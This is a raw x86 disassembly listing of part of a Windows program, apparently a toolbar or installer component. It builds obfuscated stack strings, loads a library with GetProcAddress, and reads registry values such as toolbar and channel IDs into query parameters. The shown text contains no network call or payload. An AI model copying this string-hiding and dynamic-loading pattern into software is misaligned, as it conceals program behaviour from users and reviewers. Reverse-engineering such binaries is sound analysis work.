pop eax
push 0x63
mov byte [ebp - 0x23], al
lea edi, [ebp - 0x12f28]
pop eax
push 0x61
mov byte [ebp - 0x22], al
pop eax
push 0x74
pop edx
push 0x6f
mov byte [ebp - 0x24], cl
mov byte [ebp - 0x20], cl
pop ecx
push 0x65
mov byte [ebp - 0x1d], cl
pop ecx
mov byte [ebp - 0x21], al
mov byte [ebp - 0x19], al
push 0x68
pop eax
mov byte [ebp - 0x17], al
xor eax, eax
stosd dword es:[edi], eax
mov byte [ebp - 0x1b], cl
lea ecx, [ebp - 0x12f18]
push 0x439180
mov byte [ebp - 0x1f], 0x53
stosd dword es:[edi], eax
mov byte [ebp - 0x1e], dl
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1a], 0x50
stosd dword es:[edi], eax
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x16], bl
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0x22
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x12f28]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 0x24
call fcn.00418260
lea ecx, [ebp - 0x12f28]
call fcn.00418ff0
test al, al
jne 0x40a661
lea ecx, [ebp - 0x12f28]
call fcn.00419020
test al, al
je 0x40a661
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.00418930
push eax
lea eax, [ebp - 0x12f68]
mov byte [ebp - 4], 0x25
push eax
mov ecx, esi
call fcn.00406996
cmp dword [eax + 0x14], 8
mov byte [ebp - 4], 0x26
jb 0x40a63d
mov eax, dword [eax]
push eax
call dword [ebp - 0x13128]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.00413939
push ebx
push 1
lea ecx, [ebp - 0x12f40]
call fcn.004138f5
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 9
call fcn.00418260
cmp dword [ebp - 0x12f08], 0
je 0x40a776
movdqa xmm0, xmmword [0x439690]
lea edi, [ebp - 0x12f28]
push 0x65
pop eax
mov byte [ebp - 0x24b], al
lea ecx, [ebp - 0x12f18]
xor eax, eax
mov byte [ebp - 0x24c], 0x6d
stosd dword es:[edi], eax
push 0x439180
movdqu xmmword [ebp - 0x25c], xmm0
mov byte [ebp - 0x24a], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0x27
push eax
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x12f28]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
push 0x29
pop eax
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], al
call fcn.00418260
lea ecx, [ebp - 0x12f28]
call fcn.00418ff0
test al, al
jne 0x40a767
lea ecx, [ebp - 0x12f28]
call fcn.00419020
test al, al
je 0x40a767
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.00418930
push eax
lea eax, [ebp - 0x12f68]
mov byte [ebp - 4], 0x2a
push eax
mov ecx, esi
call fcn.00406996
cmp dword [eax + 0x14], 8
mov byte [ebp - 4], 0x2b
jb 0x40a743
mov eax, dword [eax]
push eax
call dword [ebp - 0x12f08]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.00413939
push ebx
push 1
lea ecx, [ebp - 0x12f40]
call fcn.004138f5
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 9
call fcn.00418260
cmp dword [ebp - 0x12f04], 0
je 0x40a876
push 0x74
pop eax
mov byte [ebp - 0x84], al
lea edi, [ebp - 0x12f28]
push 0x61
movdqa xmm0, xmmword [0x439730]
lea ecx, [ebp - 0x12f18]
pop eax
mov byte [ebp - 0x82], al
push 0x6c
pop eax
mov byte [ebp - 0x81], al
push 0x65
pop eax
mov byte [ebp - 0x7f], al
xor eax, eax
stosd dword es:[edi], eax
push 0x439180
movdqu xmmword [ebp - 0x94], xmm0
mov byte [ebp - 0x83], 0x56
stosd dword es:[edi], eax
mov byte [ebp - 0x80], 0x75
mov byte [ebp - 0x7e], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0x2c
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x12f28]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
push 0x2e
pop eax
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], al
call fcn.00418260
lea ecx, [ebp - 0x12f28]
call fcn.00418ff0
test al, al
jne 0x40a867
lea ecx, [ebp - 0x12f28]
call fcn.00419020
test al, al
je 0x40a867
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
push 0x2f
pop ecx
mov byte [ebp - 4], cl
jb 0x40a851
mov eax, dword [eax]
push eax
call dword [ebp - 0x12f04]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 9
call fcn.00418260
push 0x44
pop eax
push 0x65
mov word [ebp - 0x110], ax
mov ecx, esi
pop eax
push 0x6a
mov word [ebp - 0x10e], ax
pop eax
push 0x6c
mov word [ebp - 0x10c], ax
pop eax
mov word [ebp - 0x10a], ax
push 0x6f
pop eax
mov word [ebp - 0x108], ax
xor eax, eax
mov word [ebp - 0x106], ax
lea eax, [ebp - 0x110]
push eax
call fcn.0040897d
mov dword [esi + 0x46c], eax
test eax, eax
je 0x40c1b0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x65
pop ecx
push 0x74
pop edx
push 0x61
mov byte [ebp - 0x5b], cl
pop ecx
mov byte [ebp - 0x57], cl
mov byte [ebp - 0x53], cl
lea ecx, [ebp - 0x5c]
push ecx
push eax
mov byte [ebp - 0x5c], 0x53
mov byte [ebp - 0x5a], dl
mov word [ebp - 0x59], 0x6d5f
mov word [ebp - 0x56], 0x6e69
mov byte [ebp - 0x54], 0x50
mov byte [ebp - 0x52], dl
mov word [ebp - 0x51], 0x68
call edi
push 0x65
mov dword [ebp - 0x13140], eax
pop eax
push 0x74
pop ecx
push 0x61
mov byte [ebp - 0x12f27], al
pop eax
push 0x69
pop edx
push 0x68
mov byte [ebp - 0x12f23], al
mov byte [ebp - 0x12f1f], al
pop eax
mov byte [ebp - 0x12f1d], al
lea eax, [ebp - 0x12f28]
push eax
push dword [esi + 0x46c]
mov byte [ebp - 0x12f28], 0x53
mov byte [ebp - 0x12f26], cl
mov word [ebp - 0x12f25], 0x6d5f
mov byte [ebp - 0x12f22], dl
mov word [ebp - 0x12f21], 0x506e
mov byte [ebp - 0x12f1e], cl
mov word [ebp - 0x12f1c], 0x4449
mov byte [ebp - 0x12f1a], bl
call edi
movdqa xmm0, xmmword [0x4396b0]
push 0x72
mov dword [ebp - 0x64], eax
pop eax
push 0x61
mov byte [ebp - 0x84], al
pop eax
mov byte [ebp - 0x83], al
lea eax, [ebp - 0x94]
push eax
push dword [esi + 0x46c]
movdqu xmmword [ebp - 0x94], xmm0
mov word [ebp - 0x82], 0x6d
call edi
movdqa xmm0, xmmword [0x4396a0]
push 0x65
mov dword [ebp - 0x13148], eax
pop eax
mov byte [ebp - 0x6b], al
lea eax, [ebp - 0x7c]
push eax
push dword [esi + 0x46c]
movdqu xmmword [ebp - 0x7c], xmm0
mov byte [ebp - 0x6c], 0x6d
mov byte [ebp - 0x6a], bl
call edi
movdqa xmm0, xmmword [0x439740]
push 0x61
mov dword [ebp - 0x1314c], eax
pop eax
movdqu xmmword [ebp - 0xf8], xmm0
mov byte [ebp - 0xe8], 0x4e
mov byte [ebp - 0xe7], al
push 0x65
pop eax
mov byte [ebp - 0xe5], al
lea eax, [ebp - 0xf8]
push eax
push dword [esi + 0x46c]
mov byte [ebp - 0xe6], 0x6d
mov byte [ebp - 0xe4], bl
call edi
push 0x66
movdqa xmm0, xmmword [0x4396d0]
mov dword [ebp - 0x13154], eax
pop eax
push 0x61
mov byte [ebp - 0x238], al
pop eax
push 0x6c
pop edx
push 0x74
pop ecx
push 0x65
mov byte [ebp - 0x237], al
mov byte [ebp - 0x232], al
pop eax
mov byte [ebp - 0x22f], al
lea eax, [ebp - 0x248]
push eax
push dword [esi + 0x46c]
movdqu xmmword [ebp - 0x248], xmm0
mov byte [ebp - 0x236], 0x75
mov byte [ebp - 0x235], dl
mov byte [ebp - 0x234], cl
mov byte [ebp - 0x233], 0x56
mov byte [ebp - 0x231], dl
mov byte [ebp - 0x230], 0x75
mov byte [ebp - 0x22e], bl
call edi
push 0x6c
mov dword [ebp - 0x13144], eax
pop eax
push 0x65
mov byte [ebp - 0xab], al
pop eax
push 0x54
pop ecx
push 0x69
mov byte [ebp - 0xa7], cl
pop ecx
push 0x72
mov byte [ebp - 0xaa], al
mov byte [ebp - 0xa9], al
mov byte [ebp - 0xa4], al
pop eax
mov byte [ebp - 0xa3], al
lea eax, [ebp - 0xac]
push eax
push dword [esi + 0x46c]
mov byte [ebp - 0xac], 0x53
mov byte [ebp - 0xa8], 0x70
mov byte [ebp - 0xa6], cl
mov byte [ebp - 0xa5], 0x6d
mov byte [ebp - 0xa2], bl
call edi
movdqa xmm0, xmmword [0x439640]
mov dword [ebp - 0x13128], eax
lea eax, [ebp - 0x284]
push eax
push dword [esi + 0x46c]
movdqu xmmword [ebp - 0x284], xmm0
mov byte [ebp - 0x274], bl
call edi
movdqa xmm0, xmmword [0x439670]
push 0x4c
mov dword [ebp - 0x13130], eax
pop eax
mov byte [ebp - 0x24c], al
lea eax, [ebp - 0x25c]
push eax
push dword [esi + 0x46c]
movdqu xmmword [ebp - 0x25c], xmm0
mov byte [ebp - 0x24b], bl
call edi
movdqa xmm0, xmmword [0x439710]
push 0x6c
mov dword [ebp - 0x13124], eax
pop eax
mov byte [ebp - 0xd0], al
lea eax, [ebp - 0xe0]
push eax
push dword [esi + 0x46c]
movdqu xmmword [ebp - 0xe0], xmm0
mov byte [ebp - 0xcf], bl
call edi
movdqa xmm0, xmmword [str.Lock_dailyPixel]
lea eax, [ebp - 0x2ec]
push eax
push dword [esi + 0x46c]
movdqu xmmword [ebp - 0x2ec], xmm0
call edi
cmp dword [ebp - 0x13140], 0
je 0x40b2b4
push 0x61
pop eax
push 0x69
pop ecx
push 0x74
mov byte [ebp - 0x23], al
lea edi, [ebp - 0x12f18]
mov byte [ebp - 0x22], cl
pop ecx
mov byte [ebp - 0x1f], al
push 0x68
pop eax
mov byte [ebp - 0x1d], al
push 0x65
pop eax
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x19], al
xor eax, eax
stosd dword es:[edi], eax
mov byte [ebp - 0x1e], cl
mov byte [ebp - 0x18], cl
lea ecx, [ebp - 0x44]
push 0x439180
stosd dword es:[edi], eax
mov byte [ebp - 0x24], 0x6d
mov word [ebp - 0x21], 0x506e
mov byte [ebp - 0x1c], 0x52
stosd dword es:[edi], eax
mov byte [ebp - 0x1a], 0x73
mov byte [ebp - 0x17], bl
stosd dword es:[edi], eax
call fcn.00417fb0
push 0x30
pop eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x12f50]
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x12f18]
push eax
call fcn.00418f30
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x32
call fcn.00418260
lea ecx, [ebp - 0x12f18]
call fcn.00418ff0
test al, al
jne 0x40b2a5
lea ecx, [ebp - 0x12f18]
call fcn.00419020
test al, al
je 0x40b2a5
push 0x43946c
lea ecx, [ebp - 0x12f80]
call fcn.004029f6
push 0x33
pop eax
mov byte [ebp - 4], al
lea eax, [ebp - 0x12f08]
push eax
lea eax, [esi + 0x49c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40b203
push 0x54
pop eax
push 0x6f
mov byte [ebp - 0xefc], al
pop eax
push 0x6c
mov byte [ebp - 0xefb], al
mov byte [ebp - 0xefa], al
pop eax
push 0x61
mov byte [ebp - 0xef9], al
pop eax
push 0x72
mov byte [ebp - 0xef7], al
pop eax
push 0x3f5
mov byte [ebp - 0xef6], al
lea eax, [ebp - 0xef1]
push ebx
push eax
mov byte [ebp - 0xef8], 0x62
mov dword [ebp - 0xef5], 0x4449
call fcn.0041f3b0
push 0x63
pop eax
push 0x68
mov byte [ebp - 0xafc], al
pop eax
push 0x61
mov byte [ebp - 0xafb], al
pop eax
push 0x6e
mov byte [ebp - 0xafa], al
pop eax
push 0x65
mov byte [ebp - 0xaf9], al
mov byte [ebp - 0xaf8], al
pop eax
push 0x6c
mov byte [ebp - 0xaf7], al
pop eax
push 0x69
mov byte [ebp - 0xaf6], al
pop eax
push 0x64
mov byte [ebp - 0xaf4], al
pop eax
push 0x3f4
mov byte [ebp - 0xaf3], al
lea eax, [ebp - 0xaf0]
push ebx
push eax
mov byte [ebp - 0xaf5], 0x5f
mov word [ebp - 0xaf2], bx
call fcn.0041f3b0
push 0x72
pop eax
push 0x6f
mov byte [ebp - 0x12fb], al
pop eax
push 0x64
mov byte [ebp - 0x12fa], al
pop eax
push 0x63
mov byte [ebp - 0x12f9], al
pop eax
push 0x74
mov byte [ebp - 0x12f7], al
pop eax
push 0x6e
mov byte [ebp - 0x12f6], al
pop eax
push 0x61
mov byte [ebp - 0x12f4], al
pop eax
mov byte [ebp - 0x12fc], 0x70
mov byte [ebp - 0x12f8], 0x75
mov byte [ebp - 0x12f5], 0x5f
mov byte [ebp - 0x12f3], al
mov byte [ebp - 0x12f2], 0x6d
push 0x65
pop eax
push 0x3f2
mov byte [ebp - 0x12f1], al
lea eax, [ebp - 0x12ee]
push ebx
push eax
mov word [ebp - 0x12f0], bx
call fcn.0041f3b0
push 0x69
pop edx
push 0x6e
pop eax
push 0x73
mov byte [ebp - 0x6fb], al
pop eax
push 0x74
pop ecx
push 0x61
mov byte [ebp - 0x6fa], al
pop eax
push 0x6c
mov byte [ebp - 0x6f8], al
pop eax
push 0x65
mov byte [ebp - 0x6f7], al
mov byte [ebp - 0x6f6], al
pop eax
push 0x3f2
mov byte [ebp - 0x6f1], al
lea eax, [ebp - 0x6ee]
push ebx
push eax
mov byte [ebp - 0x6fc], dl
mov byte [ebp - 0x6f9], cl
mov byte [ebp - 0x6f5], 0x5f
mov byte [ebp - 0x6f4], cl
mov byte [ebp - 0x6f3], dl
mov byte [ebp - 0x6f2], 0x6d
mov word [ebp - 0x6f0], bx
call fcn.0041f3b0
movdqa xmm0, xmmword [str.product_version]
lea eax, [ebp - 0x16eb]
push 0x3ef
push ebx
push eax
movdqu xmmword [ebp - 0x16fc], xmm0
mov byte [ebp - 0x16ec], bl
call fcn.0041f3b0
push 0xfff
lea eax, [ebp - 0x26fb]
mov byte [ebp - 0x26fc], bl
push ebx
push eax
call fcn.0041f3b0
add esp, 0x48
mov dword [ebp - 0x12f04], 0x1000
lea eax, [ebp - 0x12f04]
push eax
lea eax, [ebp - 0x26fc]
push eax
push ebx
push ebx
lea eax, [ebp - 0xefc]
push eax
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40af60
push 0x74
pop eax
push 0x69
mov byte [ebp - 0x3c], al
pop eax
mov byte [ebp - 0x3a], al
push 0x64
pop eax
mov byte [ebp - 0x39], al
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp - 0x3b], 0x62
mov word [ebp - 0x38], 0x3d
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
cmp byte [ebp - 0x26fc], 0
jne 0x40af25
mov eax, ebx
jmp 0x40af32
lea eax, [ebp - 0x26fc]
push eax
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x26fc]
push eax
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
mov edi, 0x439470
push edi
call fcn.0041f4a0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
jmp 0x40af65
mov edi, 0x439470
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26fc]
push eax
push ebx
push ebx
lea eax, [ebp - 0xafc]
push eax
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b00f
push 0x63
pop eax
push 0x68
mov byte [ebp - 0x3c], al
pop eax
push 0x6e
mov byte [ebp - 0x3b], al
pop eax
mov byte [ebp - 0x3a], al
push 0x6c
pop eax
mov byte [ebp - 0x39], al
lea eax, [ebp - 0x3c]
push eax
mov word [ebp - 0x38], 0x3d
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
cmp byte [ebp - 0x26fc], 0
jne 0x40afdb
mov eax, ebx
jmp 0x40afe8
lea eax, [ebp - 0x26fc]
push eax
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x26fc]
push eax
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
push edi
call fcn.0041f4a0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26fc]
push eax
push ebx
push ebx
lea eax, [ebp - 0x12fc]
push eax
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b0b1
push 0x72
pop eax
mov byte [ebp - 0x3b], al
push 0x64
pop eax
mov byte [ebp - 0x3a], al
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp - 0x3c], 0x70
mov word [ebp - 0x39], 0x3d
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
cmp byte [ebp - 0x26fc], 0
jne 0x40b07d
mov eax, ebx
jmp 0x40b08a
lea eax, [ebp - 0x26fc]
push eax
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x26fc]
push eax
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
push edi
call fcn.0041f4a0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26fc]
push eax
push ebx
push ebx
lea eax, [ebp - 0x6fc]
push eax
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b155
push 0x69
pop eax
push 0x6e
mov byte [ebp - 0x3c], al
pop eax
mov byte [ebp - 0x3b], al
push 0x64
pop eax
mov byte [ebp - 0x3a], al
lea eax, [ebp - 0x3c]
push eax
mov word [ebp - 0x39], 0x3d
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
cmp byte [ebp - 0x26fc], 0
jne 0x40b121
mov eax, ebx
jmp 0x40b12e
lea eax, [ebp - 0x26fc]
push eax
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x26fc]
push eax
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
push edi
call fcn.0041f4a0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26fc]
push eax
push ebx
push ebx
lea eax, [ebp - 0x16fc]
push eax
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b1f7
push 0x65
pop eax
mov byte [ebp - 0x3b], al
push 0x72
pop eax
mov byte [ebp - 0x3a], al
lea eax, [ebp - 0x3c]
push eax
mov byte [ebp - 0x3c], 0x76
mov word [ebp - 0x39], 0x3d
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
cmp byte [ebp - 0x26fc], 0
jne 0x40b1c3
mov eax, ebx
jmp 0x40b1d0
lea eax, [ebp - 0x26fc]
push eax
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x26fc]
push eax
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
push edi
call fcn.0041f4a0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x12f80]
call fcn.00413b93
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x64
pop eax
push 0x72
mov byte [ebp - 0x2c], al
lea ecx, [ebp - 0x12f18]
pop eax
push 0x30
mov byte [ebp - 0x2b], al
pop eax
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x12f40]
push eax
mov word [ebp - 0x2a], 0x3d76
mov byte [ebp - 0x27], bl
call fcn.00418930
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x12f80]
mov byte [ebp - 4], 0x34
push eax
lea ecx, [ebp - 0x12f40]
call fcn.00413a8c
cmp byte [ebp - 0x2c], 0
jne 0x40b253
mov eax, ebx
jmp 0x40b25d
lea eax, [ebp - 0x2c]
push eax
call fcn.0041f4a0
pop ecx
push eax
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x12f40]
call fcn.00413b93
cmp dword [ebp - 0x12f2c], 0x10
lea eax, [ebp - 0x12f40]
cmovae eax, dword [ebp - 0x12f40]
push eax
call dword [ebp - 0x13140]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f40]
call fcn.004138f5
push ebx
push 1
lea ecx, [ebp - 0x12f80]
call fcn.004138f5
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.00418260
cmp dword [ebp - 0x13148], 0
je 0x40b376
movdqa xmm0, xmmword [str.localStoreParam]
lea edi, [ebp - 0x12f18]
xor eax, eax
lea ecx, [ebp - 0x24]
stosd dword es:[edi], eax
push 0x439180
movdqu xmmword [ebp - 0x34], xmm0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
push 0x35
pop eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x12f50]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x12f18]
push eax
call fcn.00418f30
push 0x37
pop eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], al
call fcn.00418260
lea ecx, [ebp - 0x12f18]
call fcn.00418ff0
test al, al
jne 0x40b367
lea ecx, [ebp - 0x12f18]
call fcn.00419020
test al, al
je 0x40b367
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x38
jb 0x40b351
mov eax, dword [eax]
push eax
call dword [ebp - 0x13148]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.00418260
cmp dword [ebp - 0x1314c], 0
je 0x40b462
push 0x73
pop eax
push 0x6c
mov byte [ebp - 0x24], al
lea edi, [ebp - 0x12f18]
pop eax
push 0x65
pop ecx
mov byte [ebp - 0x23], al
push 0x61
pop eax
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1c], al
mov byte [ebp - 0x19], al
xor eax, eax
stosd dword es:[edi], eax
mov byte [ebp - 0x22], cl
mov byte [ebp - 0x21], cl
mov byte [ebp - 0x17], cl
lea ecx, [ebp - 0x34]
stosd dword es:[edi], eax
push 0x439180
mov word [ebp - 0x20], 0x5070
mov byte [ebp - 0x1d], 0x72
stosd dword es:[edi], eax
mov word [ebp - 0x1b], 0x4e6d
mov byte [ebp - 0x18], 0x6d
mov byte [ebp - 0x16], bl
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x39
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x3b
call fcn.00418260
lea ecx, [ebp - 0x12f18]
call fcn.00418ff0
test al, al
jne 0x40b453
lea ecx, [ebp - 0x12f18]
call fcn.00419020
test al, al
je 0x40b453
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x3c
jb 0x40b43d
mov eax, dword [eax]
push eax
call dword [ebp - 0x1314c]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.00418260
cmp dword [ebp - 0x13154], 0
je 0x40b52c
movdqa xmm0, xmmword [0x439700]
lea edi, [ebp - 0x12f18]
xor eax, eax
mov byte [ebp - 0x12f6c], bl
stosd dword es:[edi], eax
lea ecx, [ebp - 0x24]
push 0x439180
movdqu xmmword [ebp - 0x12f7c], xmm0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x3d
push eax
lea eax, [ebp - 0x12f7c]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x3f
call fcn.00418260
lea ecx, [ebp - 0x12f18]
call fcn.00418ff0
test al, al
jne 0x40b51d
lea ecx, [ebp - 0x12f18]
call fcn.00419020
test al, al
je 0x40b51d
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x40
jb 0x40b507
mov eax, dword [eax]
push eax
call dword [ebp - 0x13154]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.00418260
cmp dword [ebp - 0x13144], 0
je 0x40b628
push 0x74
pop eax
mov byte [ebp - 0x12f70], al
lea edi, [ebp - 0x12f18]
push 0x61
movdqa xmm0, xmmword [0x439730]
lea ecx, [ebp - 0x24]
pop eax
mov byte [ebp - 0x12f6e], al
push 0x6c
pop eax
mov byte [ebp - 0x12f6d], al
push 0x65
pop eax
mov byte [ebp - 0x12f6b], al
xor eax, eax
stosd dword es:[edi], eax
push 0x439180
movdqu xmmword [ebp - 0x12f80], xmm0
mov byte [ebp - 0x12f6f], 0x56
stosd dword es:[edi], eax
mov byte [ebp - 0x12f6c], 0x75
mov byte [ebp - 0x12f6a], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x41
push eax
lea eax, [ebp - 0x12f80]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x43
call fcn.00418260
lea ecx, [ebp - 0x12f18]
call fcn.00418ff0
test al, al
jne 0x40b619
lea ecx, [ebp - 0x12f18]
call fcn.00419020
test al, al
je 0x40b619
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x44
jb 0x40b603
mov eax, dword [eax]
push eax
call dword [ebp - 0x13144]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.00418260
cmp dword [ebp - 0x64], 0
je 0x40b701
push 0x61
pop eax
push 0x69
pop ecx
mov byte [ebp - 0x2f], al
lea edi, [ebp - 0x12f18]
mov byte [ebp - 0x2b], al
push 0x74
pop eax
mov byte [ebp - 0x2a], al
push 0x68
pop eax
mov byte [ebp - 0x29], al
xor eax, eax
stosd dword es:[edi], eax
mov byte [ebp - 0x2e], cl
lea ecx, [ebp - 0x24]
push 0x439180
mov byte [ebp - 0x30], 0x6d
stosd dword es:[edi], eax
mov word [ebp - 0x2d], 0x506e
mov word [ebp - 0x28], 0x4449
mov byte [ebp - 0x26], bl
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00417fb0
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x45
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x12f18]
push eax
lea ecx, [ebp - 0x12f50]
call fcn.00418f30
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x47
call fcn.00418260
lea ecx, [ebp - 0x12f18]
call fcn.00418ff0
test al, al
jne 0x40b6f2
lea ecx, [ebp - 0x12f18]
call fcn.00419020
test al, al
je 0x40b6f2
lea eax, [ebp - 0x12f68]
push eax
lea ecx, [ebp - 0x12f18]
call fcn.00418930
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x48
jb 0x40b6df
mov eax, dword [eax]
push eax
call dword [ebp - 0x64]
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x12f68]
call fcn.004138f5
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 9
call fcn.00418260
